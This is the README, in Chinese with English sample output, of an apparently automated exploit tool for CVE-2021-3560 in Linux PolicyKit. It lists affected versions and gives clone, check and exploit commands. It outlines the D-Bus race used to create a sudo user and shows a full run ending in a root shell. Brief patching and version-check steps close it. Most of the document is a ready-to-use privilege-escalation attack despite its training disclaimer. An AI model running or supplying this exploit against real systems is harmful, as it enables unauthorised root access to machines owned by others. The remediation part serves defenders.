.--. .-" "-. .--.
/ .. \/ .-. .-. \/ .. \
| | '| / Y \ |' | |
| \ \ \ 0 | 0 / / / |
\ '- ,\.-"`` ``"-./, -' /
`'-' /_ ^ ^ _\ '-'`
.--'| \._ _./ |'--.
/` \ \ `~` / / `\
/ '._ '---' _.' \
/ '~---~' \
/ \
一个针对影响 Linux 系统上 PolicyKit (Polkit) 的 CVE-2021-3560 漏洞的自动化利用工具。
⚠️ 警告：本工具仅用于受控实验环境中的教育和网络安全培训目的。在非您拥有的系统上未经授权使用此漏洞利用程序是违法的。
CVE-2021-3560 是 PolicyKit (polkit) 中的一个本地竞态条件漏洞，允许非特权用户在易受攻击的 Linux 系统上获得 root 权限。
该漏洞影响 Polkit 的两个分支，其版本编号不同：
bfa5036（版本 0.113）f81d021（版本 0.105-26）| Distribution | Polkit Version | Vulnerable? |
|---|---|---|
| Ubuntu 20.04 | 0.105-26ubuntu1 | ✅ 是 |
| Ubuntu 18.04 | 0.105-20 | ❌ 否 |
| Debian testing "bullseye" | 0.105-31+ | ✅ 是 |
| Debian 10 "buster" | 0.105-25 | ❌ 否 |
| RHEL 8 | 0.115-11+ | ✅ 是 |
| RHEL 7 | < 0.113 | ❌ 否 |
| Fedora 21+ | 0.113+ | ✅ 是 |
| Fedora 20 及更早版本 | < 0.113 | ❌ 否 |
📝 注意：已应用安全补丁的系统（例如 ubuntu1.1、deb10u1）不受影响。
该漏洞利用程序需要以下工具（会自动验证）：
- dbus-send # To communicate with D-Bus
- pkexec # Part of PolicyKit
- id # To verify user creation
- openssl # To generate password hash
- accountsservice # Must be installed and active
# Clone the repository (or download the file)
git clone https://github.com/[your-repo]/CVE-2021-3560_Polkit.git
cd CVE-2021-3560_Polkit
# Make the script executable
chmod +x CVE-2021-3560_Polkit.py
检查系统是否存在漏洞（不运行漏洞利用程序）：
python3 CVE-2021-3560_Polkit.py --check
示例输出：
[*] ============================================================
[*] CVE-2021-3560 Polkit Vulnerability Checker
[*] ============================================================
[*] Detecting operating system...
[+] OS: Ubuntu 20.04
[*] Checking required dependencies...
[+] Found: dbus-send
[+] Found: pkexec
[+] Found: id
[+] Found: openssl
[*] Detecting Polkit version...
[+] Polkit version: 0.105-26ubuntu1
[+] ============================================================
[+] SYSTEM APPEARS VULNERABLE!
[+] ============================================================
[*] Debian/Ubuntu fork detected (vulnerable since 0.105-26)
创建一个特权用户：
python3 CVE-2021-3560_Polkit.py -u <username> -p <password>
示例：
python3 CVE-2021-3560_Polkit.py -u hacker -p Password123!
usage: CVE-2021-3560_Polkit.py [-h] [-u USERNAME] [-p PASSWORD] [-c]
options:
-h, --help Show help
-u, --username Username to create
-p, --password Password for new user
-c, --check Check vulnerability without exploiting
该漏洞利用程序利用 PolicyKit 在处理 D-Bus 请求时的竞态条件。
┌─────────────────────────────────────────────────────────┐
│ 1. Optimal timing measurement │
│ └─> Test execution to calibrate timing │
├─────────────────────────────────────────────────────────┤
│ 2. Exploitation: User creation │
│ └─> Send D-Bus CreateUser request │
│ └─> Kill process at precise moment (race condition) │
│ └─> Verify if user created │
├─────────────────────────────────────────────────────────┤
│ 3. Password hash generation │
│ └─> Using openssl passwd -6 │
├─────────────────────────────────────────────────────────┤
│ 4. Exploitation: Password setting │
│ └─> Send D-Bus SetPassword request │
│ └─> Kill process at precise moment (race condition) │
│ └─> Test login with password │
├─────────────────────────────────────────────────────────┤
│ 5. Privilege escalation │
│ └─> Login with created account │
│ └─> Use sudo if member of sudo group │
└─────────────────────────────────────────────────────────┘
# 1. Check vulnerability
user@vulnerable:~$ python3 CVE-2021-3560_Polkit.py --check
[+] SYSTEM APPEARS VULNERABLE!
# 2. Launch exploit
user@vulnerable:~$ python3 CVE-2021-3560_Polkit.py -u pwned -p Pwn3d123!
╔═══════════════════════════════════════════════════════════╗
║ CVE-2021-3560 Polkit Privilege Escalation ║
╚═══════════════════════════════════════════════════════════╝
[*] Creating user 'pwned' using race condition timing attack...
[*] Measuring command execution time...
[*] Command takes ~0.045s, using 0.023s timing
[*] Attempting race condition exploit, please wait...
[+] User 'pwned' created successfully! UID: 1001
[*] User is member of groups: 1001(pwned) 27(sudo)
[*] Generating password hash...
[+] Password hash generated
[*] Setting password for user 'pwned'...
[+] Password set successfully!
╔═══════════════════════════════════════════════════════════╗
║ EXPLOIT SUCCESSFUL! ║
╚═══════════════════════════════════════════════════════════╝
[+] User 'pwned' created with password 'Pwn3d123!'
[*] User should be member of 'sudo' group for privilege escalation
[*] Switching to user 'pwned'...
# 3. Get root
pwned@vulnerable:~$ sudo su
root@vulnerable:~# id
uid=0(root) gid=0(root) groups=0(root)
更新 PolicyKit：
# Debian/Ubuntu
sudo apt update && sudo apt upgrade policykit-1
# RHEL/CentOS/Fedora
sudo yum update polkit
# or
sudo dnf update polkit
检查版本：
pkexec --version
# Must be >= 0.119 (upstream) or patched
验证安全补丁：
# Debian/Ubuntu
apt-cache policy policykit-1
# RHEL/CentOS/Fedora
rpm -q --changelog polkit | grep CVE-2021-3560